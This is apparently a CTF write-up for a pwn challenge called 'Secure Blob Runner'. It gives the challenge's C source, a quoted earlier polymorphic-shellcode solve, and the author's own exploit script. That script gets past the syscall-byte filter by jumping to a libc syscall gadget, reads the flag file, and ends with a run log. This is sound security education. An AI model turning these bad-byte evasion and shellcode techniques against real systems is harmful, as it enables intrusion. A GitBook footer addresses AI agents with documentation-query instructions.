> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/ctf-writeups/upsolves/secure-blob-runner.md).

# Secure Blob Runner

## Initial Impressions

We are provided with the challenge source code (`chall.c`), which appears to be a simple shellcode runner. It uses `mmap` to allocate a memory region with read and execute (RX) permissions, loading your shellcode into it—assuming you pass both the byte check and the `seccomp` filter.

```c
#include <stdlib.h>
#include <stdnoreturn.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdint.h>
#include <seccomp.h>


int check(char* code) {

	for (int i = 0; i < 0x1000; i += 1) {
		// block our syscall bytes the LAZY way:)
		if (code[i] == 0x0f || code[i] == 0x05 || code[i] == 0xcd || code[i] == 0x80)
			return 1;
	}

	// install seccomp filters as extra security!!
	// it shouldn't matter though, since syscall is blocked anyways
	scmp_filter_ctx ctx;
	ctx = seccomp_init(SCMP_ACT_KILL);
	if (!ctx)
		return 1;
	if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) < 0)
		return 1;
	if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendfile), 0) < 0)
		return 1;
	if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0) < 0)
		return 1;
	seccomp_load(ctx);
	return 0;
}

void call_shellcode(char* code) {

	__asm__(
		".intel_syntax noprefix\n"
		"mov rax, rdi\n"
		"mov rsp, 0\n"
		"mov rbp, 0\n"
		"mov rbx, 0\n"
		"mov rcx, 0\n"
		"mov rdx, 0\n"
		"mov rdi, 0\n"
		"mov rsi, 0\n"
		"mov r8, 0\n"
		"mov r9, 0\n"
		"mov r10, 0\n"
		"mov r11, 0\n"
		"mov r12, 0\n"
		"mov r13, 0\n"
		"mov r14, 0\n"
		"mov r15, 0\n"
		"jmp rax\n"
		".att_syntax\n"
	);

}

int main() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);

	char* code = mmap((void*)0x13370000, 0x1000, 7, MAP_SHARED | MAP_ANONYMOUS, 0, 0);

	printf("Blob Runner> ");
	fgets(code, 0x1000, stdin);
	mprotect(code, 0x1000, 5);

	if (!check(code)) {
		call_shellcode(code);
	} else {
		printf("Bad Blob!\n");
	}
}
```

## Analysis

The filters are pretty easy to understand.&#x20;

1. Seccomp filters only permit the use of `open`, `sendfile` and `exit` syscalls
2. Shellcode cannot contain the following bytes which are `syscall` bytes for x64 and x86

Looking at the previous [welcomectf ](https://github.com/NUSGreyhats/welcome-ctf-2023-public/blob/main/challenges/pwn/secure_blob_runner/solve.py)which this challenge was based of, we see that the solution is a polymorphic shellcode because of the `rwx` permissions set&#x20;

```python
from pwn import *

def wrapper(sc):
    bad_sc = bytearray(asm(sc))
    good_sc = asm("mov r10, rax")
    bad_offsets = []

    for i in range(len(bad_sc)):
        if bad_sc[i] in [0x05, 0x0f, 0x80, 0xcd, 0xa]:
            bad_offsets.append(i)
            bad_sc[i] -= 1

    for b in bad_offsets:
        good_sc += asm(f"inc byte ptr [r10+{b}]")

    a = asm(f"add r10, {5+len(good_sc)}")
    o = len(a) + len(good_sc)
    q = 0
    if o in [0x05, 0x0f, 0x80, 0xcd, 0xa]:
        o += 1
        q = 1
    good_sc = b"\x90"*q + asm(f"add rax, {o}") + good_sc + bad_sc
    return good_sc

context.terminal = ["tmux", "neww"]
context.binary = ELF("./app/chall")
p = remote("localhost", 21237)
# p = process("./chall")

sc = """
push 0x1010101 ^ 0x7478
xor dword ptr [rsp], 0x1010101
mov rax, 0x742e67616c662f2e
push rax
mov rdi, rsp
mov rax, 2
mov rsi, 0
mov rdx, 0
syscall
mov rdi, rax
mov rsi, r10
add rsi, 0xf00
mov rdx, 0x20
mov rax, 0
syscall
mov rdi, 1
mov rdx, 0x20
mov rax, 1
syscall
mov rax, 0x3c
mov rdi, 0
syscall
"""

asc = wrapper(sc)

# gdb.attach(p)

p.sendline(asc)
p.interactive()
```

But this time we don't have write permissions over the mmaped region - lets ROP instead!.

We see that when we jump to our `mmaped` region at `0x13370000`, we note that all registers are cleared besides `fs_base`

```bash
fs_base        0x7ffff7d8e740      140737351575360
gs_base        0x0                 0
pwndbg> address fs_base
There are no mappings for specified address or module.
pwndbg> address $fs_base
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x555555559000     0x55555557a000 rw-p    21000      0 [heap]
►   0x7ffff7d8e000     0x7ffff7d91000 rw-p     3000      0 [anon_7ffff7d8e] +0x740
    0x7ffff7d91000     0x7ffff7db9000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6

```

We note that the mmaped region is adjacent to libc which means we can use find gadgets like `syscall` in libc as the relative offset stays the same!

```python
from pwn import *

pop_rdi = 0x2a205
pop_rsi = 0x2bb39  
pop_rax = 0x43067
syscall_gadget = 0x8ed72

BAD_BYTES = [0x0f, 0x05, 0xcd, 0x80]

def check_bad_bytes(shellcode):
    bad_positions = []
    for i, b in enumerate(shellcode):
        if b in BAD_BYTES:
            bad_positions.append((i, hex(b)))
    return bad_positions

sc = b""

part1 = asm("""
    mov rax, fs:[0]
    mov rbx, rax
    mov rcx, 0x28c0
    lea r15, [rax + rcx]
""", arch='amd64')
sc += part1
print(f"Part 1 - Bad bytes: {check_bad_bytes(part1)}")

part2 = asm("""
    mov r14, 0x7478742e67616c66
    mov [rbx + 0x200], r14
    mov byte ptr [rbx + 0x208], 0
    lea rdi, [rbx + 0x200]
    lea rsp, [rbx + 0x1000]
""", arch='amd64')
sc += part2
print(f"Part 2 - Bad bytes: {check_bad_bytes(part2)}")

part3 = asm(f"""
    xor rsi, rsi
    mov rax, 2
    lea rcx, [r15 + {syscall_gadget}]
    call rcx
    
    mov rsi, rax
    mov rdi, 1
    xor rdx, rdx
    mov r10, 1000
    mov rax, 40
    lea rcx, [r15 + {syscall_gadget}]
    call rcx
    
    xor rdi, rdi
    mov rax, 60
    lea rcx, [r15 + {syscall_gadget}]
    call rcx
""", arch='amd64')
sc += part3
print(f"Part 3 - Bad bytes: {check_bad_bytes(part3)}")

print(f"\nTotal shellcode length: {len(sc)}")
print(f"Total bad bytes: {check_bad_bytes(sc)}")

if check_bad_bytes(sc):
    print("\n⚠️  WARNING: Bad bytes detected! Need to modify approach.")
else:
    print("\n✅ No bad bytes detected - shellcode is clean!")

p = process('./chall_patched')
gdb.attach(p, gdbscript='''break *call_shellcode''')
p.recvuntil(b'Blob Runner> ')
p.sendline(sc)
p.interactive()

```

```bash
┌──(kali㉿kali)-[~/…/finals/pwn/super_secure_blob_runner/dist]
└─$ python3 solve.py 
Part 1 - Bad bytes: []
Part 2 - Bad bytes: []
Part 3 - Bad bytes: []

Total shellcode length: 135
Total bad bytes: []

✅ No bad bytes detected - shellcode is clean!
[+] Starting local process './chall_patched': pid 110596
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '-p', '110596', '-x', '/tmp/pwnlib-gdbscript-d3wtjltp.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
grey{TEST_FLAG}
[*] Process './chall_patched' stopped with exit code 0 (pid 110596)
[*] Got EOF while reading in interactive
$  

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/ctf-writeups/upsolves/secure-blob-runner.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
